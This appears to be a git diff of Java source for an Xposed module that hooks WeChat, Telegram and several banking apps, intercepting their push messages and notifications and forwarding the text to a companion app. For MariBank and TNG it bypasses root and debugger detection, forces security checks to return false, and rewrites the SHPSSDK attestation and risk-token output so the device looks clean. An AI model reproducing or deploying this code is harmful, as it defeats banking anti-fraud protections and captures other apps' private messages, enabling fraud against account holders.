private static final String TAG = "notiMessageHook";
|
||||
|
||||
private HookForwarder() {
|
||||
}
|
||||
|
||||
public static void forward(Context context, String packageName, String title,
|
||||
String content, String source) {
|
||||
if (context == null || TextUtils.isEmpty(packageName) || TextUtils.isEmpty(content)) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
Intent intent = new Intent(HookBridge.ACTION_HOOK_MESSAGE);
|
||||
intent.setPackage(HookBridge.TARGET_APP_PACKAGE);
|
||||
intent.putExtra(HookBridge.EXTRA_PACKAGE_NAME, packageName);
|
||||
intent.putExtra(HookBridge.EXTRA_TITLE,
|
||||
TextUtils.isEmpty(title) ? packageName : title);
|
||||
intent.putExtra(HookBridge.EXTRA_CONTENT, content);
|
||||
intent.putExtra(HookBridge.EXTRA_TIMESTAMP, System.currentTimeMillis());
|
||||
intent.putExtra(HookBridge.EXTRA_SOURCE, source);
|
||||
context.sendBroadcast(intent);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " sendBroadcast failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
package com.miraclegarden.smsmessage.xposed;
|
||||
|
||||
import com.miraclegarden.smsmessage.xposed.hook.MariBankRootBypassHook;
|
||||
import com.miraclegarden.smsmessage.xposed.hook.MariBankShpsNativeHook;
|
||||
import com.miraclegarden.smsmessage.xposed.hook.SuncorpBankMessageHook;
|
||||
import com.miraclegarden.smsmessage.xposed.hook.TngMoneyPacketHook;
|
||||
import com.miraclegarden.smsmessage.xposed.hook.TngRootBypassHook;
|
||||
import com.miraclegarden.smsmessage.xposed.hook.SqliteMessageHook;
|
||||
import com.miraclegarden.smsmessage.xposed.hook.TelegramMessageHook;
|
||||
import com.miraclegarden.smsmessage.xposed.hook.UpBankMessageHook;
|
||||
import com.miraclegarden.smsmessage.xposed.hook.UbankMessageHook;
|
||||
import com.miraclegarden.smsmessage.xposed.hook.WeChatMessageHook;
|
||||
|
||||
import de.robv.android.xposed.IXposedHookLoadPackage;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
public class MainHook implements IXposedHookLoadPackage {
|
||||
|
||||
private static final String WECHAT_PACKAGE = "com.tencent.mm";
|
||||
private static final String TELEGRAM_PACKAGE = "org.telegram.messenger";
|
||||
private static final String TELEGRAM_WEB_PACKAGE = "org.telegram.messenger.web";
|
||||
private static final String UP_BANK_PACKAGE = "au.com.up.money";
|
||||
private static final String SUNCORP_PACKAGE = "au.com.suncorp.marketplace";
|
||||
private static final String UBANK_PACKAGE = "au.com.bank86400";
|
||||
private static final String MAIN_APP_PACKAGE = "com.miraclegarden.smsmessage";
|
||||
|
||||
@Override
|
||||
public void handleLoadPackage(XC_LoadPackage.LoadPackageParam lpparam) throws Throwable {
|
||||
if (lpparam == null || lpparam.packageName == null) {
|
||||
return;
|
||||
}
|
||||
if (MAIN_APP_PACKAGE.equals(lpparam.packageName)) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (WECHAT_PACKAGE.equals(lpparam.packageName)) {
|
||||
WeChatMessageHook.install(lpparam);
|
||||
return;
|
||||
}
|
||||
|
||||
if (TELEGRAM_PACKAGE.equals(lpparam.packageName)
|
||||
|| TELEGRAM_WEB_PACKAGE.equals(lpparam.packageName)) {
|
||||
TelegramMessageHook.install(lpparam);
|
||||
return;
|
||||
}
|
||||
|
||||
if (UP_BANK_PACKAGE.equals(lpparam.packageName)) {
|
||||
UpBankMessageHook.install(lpparam);
|
||||
return;
|
||||
}
|
||||
|
||||
if (SUNCORP_PACKAGE.equals(lpparam.packageName)) {
|
||||
SuncorpBankMessageHook.install(lpparam);
|
||||
return;
|
||||
}
|
||||
|
||||
if (UBANK_PACKAGE.equals(lpparam.packageName)) {
|
||||
UbankMessageHook.install(lpparam);
|
||||
return;
|
||||
}
|
||||
|
||||
if (MariBankRootBypassHook.isTargetPackage(lpparam.packageName)) {
|
||||
MariBankShpsNativeHook.install(lpparam);
|
||||
MariBankRootBypassHook.install(lpparam);
|
||||
return;
|
||||
}
|
||||
|
||||
if (TngRootBypassHook.isTargetPackage(lpparam.packageName)) {
|
||||
TngRootBypassHook.install(lpparam);
|
||||
TngMoneyPacketHook.install(lpparam);
|
||||
return;
|
||||
}
|
||||
|
||||
SqliteMessageHook.install(lpparam);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import android.app.Notification;
|
||||
import android.content.Context;
|
||||
import android.os.Bundle;
|
||||
import android.text.TextUtils;
|
||||
|
||||
import com.miraclegarden.smsmessage.xposed.HookForwarder;
|
||||
|
||||
import java.util.ArrayDeque;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.XposedHelpers;
|
||||
|
||||
/**
|
||||
* 银行 App Hook 公共工具:RemoteMessage / Notification 解析与去重转发。
|
||||
*/
|
||||
public final class BankHookHelper {
|
||||
|
||||
private static final String TAG = "notiMessageHook/Bank";
|
||||
private static final int DEDUP_SIZE = 256;
|
||||
|
||||
private static final ArrayDeque<String> RECENT_KEYS = new ArrayDeque<>();
|
||||
private static final HashSet<String> RECENT_SET = new HashSet<>();
|
||||
|
||||
private BankHookHelper() {
|
||||
}
|
||||
|
||||
public static void hookFcmService(de.robv.android.xposed.callbacks.XC_LoadPackage.LoadPackageParam lpparam,
|
||||
String serviceClass, String source) {
|
||||
try {
|
||||
de.robv.android.xposed.XposedHelpers.findAndHookMethod(
|
||||
serviceClass,
|
||||
lpparam.classLoader,
|
||||
"onMessageReceived",
|
||||
"com.google.firebase.messaging.RemoteMessage",
|
||||
new de.robv.android.xposed.XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (param.args == null || param.args.length == 0 || param.args[0] == null) {
|
||||
return;
|
||||
}
|
||||
Context context = getContext();
|
||||
if (context == null) {
|
||||
return;
|
||||
}
|
||||
CharSequence[] parts = extractRemoteMessage(param.args[0]);
|
||||
forward(context, lpparam.packageName, parts[0], parts[1], source);
|
||||
}
|
||||
}
|
||||
);
|
||||
XposedBridge.log(TAG + " FCM hook installed: " + serviceClass + " (" + lpparam.packageName + ")");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " FCM hook failed " + serviceClass + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
public static void forwardFromNotification(Context context, String packageName,
|
||||
Notification notification, String source) {
|
||||
if (notification == null) {
|
||||
return;
|
||||
}
|
||||
CharSequence[] parts = extractNotification(notification);
|
||||
forward(context, packageName, parts[0], parts[1], source);
|
||||
}
|
||||
|
||||
private static void forward(Context context, String packageName,
|
||||
CharSequence title, CharSequence content, String source) {
|
||||
String titleStr = title != null ? title.toString().trim() : "";
|
||||
String contentStr = content != null ? content.toString().trim() : "";
|
||||
if (TextUtils.isEmpty(titleStr) && TextUtils.isEmpty(contentStr)) {
|
||||
return;
|
||||
}
|
||||
if (TextUtils.isEmpty(titleStr)) {
|
||||
titleStr = packageName;
|
||||
}
|
||||
if (TextUtils.isEmpty(contentStr)) {
|
||||
contentStr = titleStr;
|
||||
}
|
||||
String dedupKey = packageName + "|" + titleStr + "|" + contentStr;
|
||||
if (!remember(dedupKey)) {
|
||||
return;
|
||||
}
|
||||
XposedBridge.log(TAG + " forward [" + source + "] " + titleStr + " / " + contentStr);
|
||||
HookForwarder.forward(context, packageName, titleStr, contentStr, source);
|
||||
}
|
||||
|
||||
static CharSequence[] extractRemoteMessage(Object remoteMessage) {
|
||||
String title = "";
|
||||
String body = "";
|
||||
try {
|
||||
Object notification = XposedHelpers.callMethod(remoteMessage, "getNotification");
|
||||
if (notification != null) {
|
||||
Object t = XposedHelpers.callMethod(notification, "getTitle");
|
||||
Object b = XposedHelpers.callMethod(notification, "getBody");
|
||||
if (t != null) {
|
||||
title = String.valueOf(t).trim();
|
||||
}
|
||||
if (b != null) {
|
||||
body = String.valueOf(b).trim();
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
|
||||
if (TextUtils.isEmpty(body)) {
|
||||
body = stringifyDataMap(remoteMessage);
|
||||
}
|
||||
return new CharSequence[]{title, body};
|
||||
}
|
||||
|
||||
private static String stringifyDataMap(Object remoteMessage) {
|
||||
try {
|
||||
Object dataObj = XposedHelpers.callMethod(remoteMessage, "getData");
|
||||
if (!(dataObj instanceof Map)) {
|
||||
return "";
|
||||
}
|
||||
Map<?, ?> data = (Map<?, ?>) dataObj;
|
||||
if (data.isEmpty()) {
|
||||
return "";
|
||||
}
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (Map.Entry<?, ?> entry : data.entrySet()) {
|
||||
if (entry.getKey() == null) {
|
||||
continue;
|
||||
}
|
||||
if (sb.length() > 0) {
|
||||
sb.append('\n');
|
||||
}
|
||||
sb.append(entry.getKey()).append('=');
|
||||
if (entry.getValue() != null) {
|
||||
sb.append(entry.getValue());
|
||||
}
|
||||
}
|
||||
return sb.toString().trim();
|
||||
} catch (Throwable ignored) {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
static CharSequence[] extractNotification(Notification notification) {
|
||||
Bundle extras = notification.extras;
|
||||
if (extras == null) {
|
||||
return new CharSequence[]{"", ""};
|
||||
}
|
||||
CharSequence title = firstNonEmpty(
|
||||
extras.getCharSequence(Notification.EXTRA_TITLE),
|
||||
extras.getCharSequence(Notification.EXTRA_TITLE_BIG),
|
||||
extras.getString(Notification.EXTRA_TITLE)
|
||||
);
|
||||
CharSequence text = firstNonEmpty(
|
||||
extras.getCharSequence(Notification.EXTRA_TEXT),
|
||||
extras.getCharSequence(Notification.EXTRA_BIG_TEXT),
|
||||
extras.getCharSequence(Notification.EXTRA_SUMMARY_TEXT),
|
||||
extras.getString(Notification.EXTRA_TEXT)
|
||||
);
|
||||
if (TextUtils.isEmpty(text)) {
|
||||
text = extras.getString("gcm.n.body");
|
||||
}
|
||||
if (TextUtils.isEmpty(title)) {
|
||||
title = extras.getString("gcm.n.title");
|
||||
}
|
||||
return new CharSequence[]{title, text};
|
||||
}
|
||||
|
||||
private static CharSequence firstNonEmpty(CharSequence... values) {
|
||||
for (CharSequence value : values) {
|
||||
if (!TextUtils.isEmpty(value)) {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private static synchronized boolean remember(String key) {
|
||||
if (RECENT_SET.contains(key)) {
|
||||
return false;
|
||||
}
|
||||
RECENT_SET.add(key);
|
||||
RECENT_KEYS.addLast(key);
|
||||
while (RECENT_KEYS.size() > DEDUP_SIZE) {
|
||||
String oldest = RECENT_KEYS.removeFirst();
|
||||
RECENT_SET.remove(oldest);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static Context getContext() {
|
||||
try {
|
||||
Class<?> activityThread = XposedHelpers.findClass("android.app.ActivityThread", null);
|
||||
Object app = XposedHelpers.callStaticMethod(activityThread, "currentApplication");
|
||||
if (app instanceof Context) {
|
||||
return (Context) app;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import android.app.Notification;
|
||||
|
||||
import de.robv.android.xposed.XC_MethodHook;
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.XposedHelpers;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
/**
|
||||
* 银行 App 前台兜底:Hook NotificationManager.notify,从 Notification.extras 取标题/正文。
|
||||
*/
|
||||
public final class BankNotificationHook {
|
||||
|
||||
private static final String TAG = "notiMessageHook/BankNotify";
|
||||
|
||||
private BankNotificationHook() {
|
||||
}
|
||||
|
||||
public static void install(XC_LoadPackage.LoadPackageParam lpparam, String source) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"android.app.NotificationManager",
|
||||
lpparam.classLoader,
|
||||
"notify",
|
||||
String.class,
|
||||
int.class,
|
||||
Notification.class,
|
||||
new NotifyHook(lpparam.packageName, source)
|
||||
);
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"android.app.NotificationManager",
|
||||
lpparam.classLoader,
|
||||
"notify",
|
||||
int.class,
|
||||
Notification.class,
|
||||
new NotifyHook(lpparam.packageName, source)
|
||||
);
|
||||
XposedBridge.log(TAG + " installed for " + lpparam.packageName);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " install failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static final class NotifyHook extends XC_MethodHook {
|
||||
private final String packageName;
|
||||
private final String source;
|
||||
|
||||
NotifyHook(String packageName, String source) {
|
||||
this.packageName = packageName;
|
||||
this.source = source;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (param.args == null || param.args.length == 0) {
|
||||
return;
|
||||
}
|
||||
Notification notification = null;
|
||||
for (Object arg : param.args) {
|
||||
if (arg instanceof Notification) {
|
||||
notification = (Notification) arg;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (notification == null) {
|
||||
return;
|
||||
}
|
||||
android.content.Context context = BankHookHelper.getContext();
|
||||
if (context == null) {
|
||||
return;
|
||||
}
|
||||
BankHookHelper.forwardFromNotification(context, packageName, notification, source);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,308 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.HashSet;
|
||||
import java.util.Set;
|
||||
|
||||
import de.robv.android.xposed.XC_MethodHook;
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.XposedHelpers;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
/**
|
||||
* SHPSSDK attestation 生成链 Hook(含 native JNI)。
|
||||
* 目标:在 {@code rdVerifyInfo.data/dataKey} 组装前,让 native 采集层读到「干净环境」。
|
||||
*/
|
||||
public final class MariBankAttestationHook {
|
||||
|
||||
private static final String TAG = "notiMessageHook/MariBankAttest";
|
||||
|
||||
private static volatile boolean probesInstalled = false;
|
||||
private static volatile boolean loadClassWatcherInstalled = false;
|
||||
private static final Set<String> HOOKED_ATTESTATION_CLASSES = new HashSet<>();
|
||||
|
||||
private MariBankAttestationHook() {
|
||||
}
|
||||
|
||||
public static int installLate(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
if (!probesInstalled) {
|
||||
hookEnvironmentProbes(lpparam);
|
||||
probesInstalled = true;
|
||||
}
|
||||
installLoadClassWatcher(lpparam);
|
||||
RootBypassHelper.hookSecurityClass(lpparam, "com.shopee.bke.biz.base.risk.a");
|
||||
|
||||
int n = 0;
|
||||
for (String className : MariBankRegionProfile.shpsAttestationCoreClasses(lpparam.packageName)) {
|
||||
n += hookAttestationClass(lpparam, className);
|
||||
}
|
||||
n += hookKnownAttestationMethods(lpparam);
|
||||
if (n > 0) {
|
||||
XposedBridge.log(TAG + " attestation hooks=" + n
|
||||
+ " region=" + MariBankRegionProfile.label(lpparam.packageName)
|
||||
+ " classes=" + HOOKED_ATTESTATION_CLASSES.size());
|
||||
}
|
||||
return n;
|
||||
}
|
||||
|
||||
private static void installLoadClassWatcher(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
if (loadClassWatcherInstalled) {
|
||||
return;
|
||||
}
|
||||
loadClassWatcherInstalled = true;
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
ClassLoader.class,
|
||||
"loadClass",
|
||||
String.class,
|
||||
boolean.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (param.getThrowable() != null) {
|
||||
return;
|
||||
}
|
||||
String name = (String) param.args[0];
|
||||
if (name == null) {
|
||||
return;
|
||||
}
|
||||
if (name.contains("shpssdk")
|
||||
|| name.contains("CharacterCrypto")
|
||||
|| name.contains("bke.biz.base.risk")) {
|
||||
if (MariBankRegionProfile.isSingapore(lpparam.packageName)
|
||||
&& MariBankRegionProfile.isShpssdkLegacyPackage(name)) {
|
||||
return;
|
||||
}
|
||||
installLate(lpparam);
|
||||
}
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " ClassLoader attestation watcher OK");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip ClassLoader watcher: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** 逆向确认的 attestation / requestDefense 桥接方法。 */
|
||||
private static int hookKnownAttestationMethods(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
int count = 0;
|
||||
count += hookMethodByName(lpparam, "com.shopee.shpssdkbank.wvvvuwwu", "vvuwuuvuu");
|
||||
count += hookMethodByName(lpparam, "com.shopee.shpssdkbank.wvvvuwwu", "wwvwvwuvv");
|
||||
count += hookMethodByName(lpparam, "com.shopee.shpssdkbank.wvvvuwwu", "vuwuuuwv");
|
||||
count += hookMethodByName(lpparam, "com.shopee.shpssdkbank.wvvvuwwu", "vuwuuwvw");
|
||||
count += hookMethodByName(lpparam, "com.shopee.shpssdkbank.wvvvuwwu", "vuwuuwvvw");
|
||||
count += hookMethodByName(lpparam, "com.shopee.shpssdkbank.wvvvuwwu", "vuwuuwvu");
|
||||
count += hookMethodByName(lpparam, "com.shopee.shpssdkbank.uwuvuvvww.vvuuuuvvv", "wuvwuvwwu");
|
||||
count += hookMethodByName(lpparam, "com.shopee.shpssdkbank.uwuvuvvww.vvuuuuvvv", "wwvuwuwvu");
|
||||
return count;
|
||||
}
|
||||
|
||||
private static int hookMethodByName(
|
||||
XC_LoadPackage.LoadPackageParam lpparam, String className, String methodName) {
|
||||
int count = 0;
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (!methodName.equals(method.getName())) {
|
||||
continue;
|
||||
}
|
||||
if (hookAttestationMethod(className, method)) {
|
||||
count++;
|
||||
}
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip " + className + "." + methodName + ": " + t.getMessage());
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
private static int hookAttestationClass(
|
||||
XC_LoadPackage.LoadPackageParam lpparam, String className) {
|
||||
if (HOOKED_ATTESTATION_CLASSES.contains(className)) {
|
||||
return 0;
|
||||
}
|
||||
int count = 0;
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (!Modifier.isStatic(method.getModifiers())) {
|
||||
continue;
|
||||
}
|
||||
if (hookAttestationMethod(className, method)) {
|
||||
count++;
|
||||
}
|
||||
}
|
||||
if (count > 0) {
|
||||
HOOKED_ATTESTATION_CLASSES.add(className);
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip class " + className + ": " + t.getMessage());
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
private static boolean hookAttestationMethod(String className, Method method) {
|
||||
final String methodName = method.getName();
|
||||
final boolean isVuwuuwvw = "vuwuuwvw".equals(methodName);
|
||||
Class<?> rt = method.getReturnType();
|
||||
if (rt == String.class) {
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
private byte[][] vuwuInputs;
|
||||
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
if (!isVuwuuwvw) {
|
||||
return;
|
||||
}
|
||||
vuwuInputs = new byte[param.args.length][];
|
||||
for (int i = 0; i < param.args.length; i++) {
|
||||
if (param.args[i] instanceof byte[]) {
|
||||
byte[] b = (byte[]) param.args[i];
|
||||
vuwuInputs[i] = b;
|
||||
XposedBridge.log(TAG + " >> vuwuuwvw in" + i + " len=" + b.length);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Object result = param.getResult();
|
||||
if (!(result instanceof String)) {
|
||||
return;
|
||||
}
|
||||
String s = (String) result;
|
||||
if (isVuwuuwvw) {
|
||||
MariBankAttestationJsonUtil.logVuwuuwvwCall(vuwuInputs, s);
|
||||
}
|
||||
String sanitized = sanitizeAttestationString(s);
|
||||
if (!sanitized.equals(s)) {
|
||||
param.setResult(sanitized);
|
||||
XposedBridge.log(TAG + " " + className + "#" + method.getName()
|
||||
+ (Modifier.isNative(method.getModifiers()) ? " (native)" : "")
|
||||
+ " sanitized len=" + s.length());
|
||||
}
|
||||
}
|
||||
});
|
||||
return true;
|
||||
}
|
||||
if (rt == byte[].class) {
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Object result = param.getResult();
|
||||
if (!(result instanceof byte[])) {
|
||||
return;
|
||||
}
|
||||
byte[] bytes = (byte[]) result;
|
||||
byte[] out = MariBankRegisterPayloadUtil.sanitizeRegistrationBytes(bytes);
|
||||
if (out != bytes) {
|
||||
param.setResult(out);
|
||||
XposedBridge.log(TAG + " " + className + "#" + method.getName()
|
||||
+ " byte[] sanitized");
|
||||
} else {
|
||||
byte[] tokenOut = MariBankRiskTokenUtil.sanitizeBytes(bytes, 0, bytes.length);
|
||||
if (tokenOut != bytes) {
|
||||
param.setResult(tokenOut);
|
||||
XposedBridge.log(TAG + " " + className + "#" + method.getName()
|
||||
+ " byte[] riskToken sanitized");
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
return true;
|
||||
}
|
||||
if (rt == boolean.class || rt == Boolean.class) {
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
param.setResult(false);
|
||||
}
|
||||
});
|
||||
return true;
|
||||
}
|
||||
if (rt == int.class || rt == Integer.class) {
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
param.setResult(0);
|
||||
}
|
||||
});
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static String sanitizeAttestationString(String s) {
|
||||
if (s == null || s.isEmpty()) {
|
||||
return s;
|
||||
}
|
||||
if (MariBankRegisterPayloadUtil.isRegistrationPayload(s)) {
|
||||
return MariBankRegisterPayloadUtil.sanitizeRegistrationJson(s);
|
||||
}
|
||||
if (s.contains("|")) {
|
||||
return MariBankRiskTokenUtil.sanitizeRiskToken(s);
|
||||
}
|
||||
return MariBankRiskTokenUtil.sanitizeAllInText(s);
|
||||
}
|
||||
|
||||
private static void hookEnvironmentProbes(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"android.os.Debug",
|
||||
lpparam.classLoader,
|
||||
"isDebuggerConnected",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
param.setResult(false);
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"android.os.Debug",
|
||||
lpparam.classLoader,
|
||||
"waitingForDebugger",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
param.setResult(false);
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
RootBypassHelper.hookFileExists(lpparam);
|
||||
RootBypassHelper.hookRuntimeExec(lpparam);
|
||||
RootBypassHelper.hookSystemGetProperty(lpparam);
|
||||
hookProcessBuilder(lpparam);
|
||||
}
|
||||
|
||||
private static void hookProcessBuilder(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
ProcessBuilder.class,
|
||||
"start",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
ProcessBuilder pb = (ProcessBuilder) param.thisObject;
|
||||
if (pb == null || pb.command() == null) {
|
||||
return;
|
||||
}
|
||||
if (ProbeGuard.isBlockedCommand(pb.command())) {
|
||||
param.setResult(ProbeGuard.fakeFailedProcess(
|
||||
String.join(" ", pb.command())));
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " ProcessBuilder hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,251 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import android.util.Base64;
|
||||
|
||||
import org.json.JSONArray;
|
||||
import org.json.JSONObject;
|
||||
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.security.MessageDigest;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collections;
|
||||
import java.util.Iterator;
|
||||
import java.util.LinkedHashSet;
|
||||
import java.util.List;
|
||||
import java.util.Locale;
|
||||
import java.util.Set;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
|
||||
/**
|
||||
* 解析 {@code vuwuuwvw} 返回的 obfuscated-key JSON(key 多为 8 位 hex)。
|
||||
*/
|
||||
final class MariBankAttestationJsonUtil {
|
||||
|
||||
private static final String TAG = "notiMessageHook/MariBankAttestJson";
|
||||
private static final Pattern HEX_KEY = Pattern.compile("^[0-9a-fA-F]{8}$");
|
||||
private static final Pattern SUSPICIOUS = Pattern.compile(
|
||||
"(root|hook|xposed|lsposed|magisk|frida|substrate|emulator|debug|adb|"
|
||||
+ "selinux|su\\b|/proc/|zygisk|riru|shamiko|tamper|integrity|"
|
||||
+ "jailbreak|virtual|mock|proxy|vpn|developer)",
|
||||
Pattern.CASE_INSENSITIVE);
|
||||
|
||||
private MariBankAttestationJsonUtil() {
|
||||
}
|
||||
|
||||
static void logVuwuuwvwCall(byte[][] inputs, String output) {
|
||||
if (inputs != null) {
|
||||
for (int i = 0; i < inputs.length; i++) {
|
||||
if (inputs[i] != null && inputs[i].length > 0) {
|
||||
MariBankCaptureUtil.logBytes("vuwuuwvw.in" + i, inputs[i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (output == null || output.isEmpty()) {
|
||||
return;
|
||||
}
|
||||
boolean registerLike = isRegisterAttestationCall(inputs, output);
|
||||
String label = registerLike ? "vuwuuwvw.out REGISTER" : "vuwuuwvw.out";
|
||||
MariBankCaptureUtil.logText(label, output);
|
||||
parseAndSummarize(output, registerLike);
|
||||
}
|
||||
|
||||
static boolean isRegisterAttestationCall(byte[][] inputs, String output) {
|
||||
if (inputs != null) {
|
||||
for (byte[] in : inputs) {
|
||||
if (in != null && in.length >= 200 && in.length <= 400) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return output != null && output.length() >= 2200 && output.length() <= 2500;
|
||||
}
|
||||
|
||||
static void parseAndSummarize(String json, boolean highlight) {
|
||||
try {
|
||||
JSONObject obj = new JSONObject(json);
|
||||
List<String> keys = new ArrayList<>();
|
||||
Iterator<String> it = obj.keys();
|
||||
while (it.hasNext()) {
|
||||
keys.add(it.next());
|
||||
}
|
||||
Collections.sort(keys);
|
||||
XposedBridge.log(TAG + " keys=" + keys.size()
|
||||
+ (highlight ? " [REGISTER-LIKE]" : "")
|
||||
+ " sample=" + keys.subList(0, Math.min(6, keys.size())));
|
||||
|
||||
List<String> hits = new ArrayList<>();
|
||||
for (String key : keys) {
|
||||
Object val = obj.get(key);
|
||||
scanValue(key, val, hits);
|
||||
}
|
||||
if (!hits.isEmpty()) {
|
||||
XposedBridge.log(TAG + " SUSPICIOUS count=" + hits.size());
|
||||
for (int i = 0; i < Math.min(hits.size(), 24); i++) {
|
||||
XposedBridge.log(TAG + " " + hits.get(i));
|
||||
}
|
||||
} else {
|
||||
XposedBridge.log(TAG + " no plain suspicious strings in values");
|
||||
}
|
||||
logKeyGuesses(keys);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " parse fail: " + t.getMessage()
|
||||
+ " head=" + json.substring(0, Math.min(120, json.length())));
|
||||
}
|
||||
}
|
||||
|
||||
private static void scanValue(String key, Object val, List<String> hits) {
|
||||
if (val instanceof String) {
|
||||
String s = (String) val;
|
||||
noteIfSuspicious(key, "str", s, hits);
|
||||
if (s.length() >= 8 && s.length() <= 512 && looksBase64(s)) {
|
||||
byte[] decoded = tryBase64(s);
|
||||
if (decoded != null) {
|
||||
String inner = new String(decoded, StandardCharsets.UTF_8);
|
||||
if (isMostlyPrintable(inner)) {
|
||||
noteIfSuspicious(key, "b64utf8", inner, hits);
|
||||
} else {
|
||||
noteIfSuspicious(key, "b64hex", hexPreview(decoded, 32), hits);
|
||||
}
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (val instanceof Number || val instanceof Boolean) {
|
||||
String s = String.valueOf(val);
|
||||
if ("1".equals(s) || "true".equalsIgnoreCase(s)) {
|
||||
hits.add(key + " =" + s + " (flag?)");
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (val instanceof JSONObject) {
|
||||
JSONObject nested = (JSONObject) val;
|
||||
Iterator<String> it = nested.keys();
|
||||
while (it.hasNext()) {
|
||||
